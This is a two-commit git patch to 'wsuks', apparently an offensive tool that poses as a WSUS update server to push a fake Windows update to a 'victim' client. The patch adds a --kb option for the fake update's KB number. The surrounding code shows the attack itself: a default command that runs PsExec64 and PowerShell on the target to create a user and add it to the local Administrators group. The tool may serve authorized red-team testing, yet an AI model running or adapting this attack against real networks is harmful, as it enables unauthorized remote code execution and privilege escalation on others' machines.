From fe1f9c40c314123b8ae4c24d7bb553f9fe79b6d8 Mon Sep 17 00:00:00 2001 From: rtfmkiesel <79413747+rtfmkiesel@users.noreply.github.com> Date: Wed, 12 Aug 2026 10:54:59 +0200 Subject: [PATCH 1/2] added arg for manual KB number --- wsuks/lib/argparser.py | 1 + wsuks/lib/wsusserver.py | 4 ++-- wsuks/wsuks.py | 4 ++-- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/wsuks/lib/argparser.py b/wsuks/lib/argparser.py index bef9ac2..61f6701 100644 --- a/wsuks/lib/argparser.py +++ b/wsuks/lib/argparser.py @@ -60,6 +60,7 @@ def initParser(): parser.add_argument("-t", "--target-ip", metavar="", dest="targetIp", help="IP Address of the victim Client.", required=not mode_args.serve_only and not mode_args.only_discover) parser.add_argument("-I", "--interface", metavar="", help="Network Interface to use. (DEFAULT: %(default)s)", default="eth0") + parser.add_argument("--kb", metavar="", type=int, help="KB number to use for the fake update (DEFAULT: random)") parser.add_argument("-e", "--executable", metavar="", default=f"{dirname(wsuks.__file__)}/executables/PsExec64.exe", type=argparse.FileType("rb"), help="The executable to returned to the victim. It has to be signed by Microsoft (DEFAULT: %(default)s)") parser.add_argument("-c", "--command", metavar="", default='/accepteula /s powershell.exe "{CREATE_USER_COMMAND}Add-LocalGroupMember -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member {WSUKS_USER};"', help="The command to execute on the victim. \n(DEFAULT (details see README): %(default)s)",) diff --git a/wsuks/lib/wsusserver.py b/wsuks/lib/wsusserver.py index f2eeb23..dc42662 100644 --- a/wsuks/lib/wsusserver.py +++ b/wsuks/lib/wsusserver.py @@ -19,7 +19,7 @@ class WSUSUpdateHandler: Mostly inspired by https://github.com/GoSecure/pywsus """ - def __init__(self, executable_file, executable_name, client_location): + def __init__(self, executable_file, executable_name, client_location, kb_number=None): self.logger = logging.getLogger("wsuks") self.get_config_xml = "" @@ -33,7 +33,7 @@ def __init__(self, executable_file, executable_name, client_location): self.revision_ids = [randint(900000, 999999), randint(900000, 999999)] self.deployment_ids = [randint(80000, 99999), randint(80000, 99999)] self.uuids = [uuid.uuid4(), uuid.uuid4()] - self.kb_number = randint(1000000, 9999999) + self.kb_number = kb_number if kb_number else randint(1000000, 9999999) self.executable = executable_file self.executable_name = executable_name diff --git a/wsuks/wsuks.py b/wsuks/wsuks.py index a531302..c62e11e 100644 --- a/wsuks/wsuks.py +++ b/wsuks/wsuks.py @@ -127,9 +127,9 @@ def run(self): # Prepare WSUS HTTP Server # If we have a TLS cert we have to switch to HTTPS and supply the DNS name if self.args.tlsCert: - update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"https://{self.wsusHost}:{self.wsusPort}") + update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"https://{self.wsusHost}:{self.wsusPort}", self.args.kb) else: - update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"http://{self.hostIp}:{self.wsusPort}") + update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"http://{self.hostIp}:{self.wsusPort}", self.args.kb) update_handler.set_resources_xml(self.command) self.logger.debug(update_handler) From 5ec281a33138a8e639ad7f43215aeb3a3bba6754 Mon Sep 17 00:00:00 2001 From: rtfmkiesel <79413747+rtfmkiesel@users.noreply.github.com> Date: Wed, 12 Aug 2026 11:32:18 +0200 Subject: [PATCH 2/2] fixed indentation --- wsuks/lib/argparser.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wsuks/lib/argparser.py b/wsuks/lib/argparser.py index 61f6701..3f7bcb4 100644 --- a/wsuks/lib/argparser.py +++ b/wsuks/lib/argparser.py @@ -60,7 +60,7 @@ def initParser(): parser.add_argument("-t", "--target-ip", metavar="", dest="targetIp", help="IP Address of the victim Client.", required=not mode_args.serve_only and not mode_args.only_discover) parser.add_argument("-I", "--interface", metavar="", help="Network Interface to use. (DEFAULT: %(default)s)", default="eth0") - parser.add_argument("--kb", metavar="", type=int, help="KB number to use for the fake update (DEFAULT: random)") + parser.add_argument("--kb", metavar="", type=int, help="KB number to use for the fake update (DEFAULT: random)") parser.add_argument("-e", "--executable", metavar="", default=f"{dirname(wsuks.__file__)}/executables/PsExec64.exe", type=argparse.FileType("rb"), help="The executable to returned to the victim. It has to be signed by Microsoft (DEFAULT: %(default)s)") parser.add_argument("-c", "--command", metavar="", default='/accepteula /s powershell.exe "{CREATE_USER_COMMAND}Add-LocalGroupMember -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member {WSUKS_USER};"', help="The command to execute on the victim. \n(DEFAULT (details see README): %(default)s)",)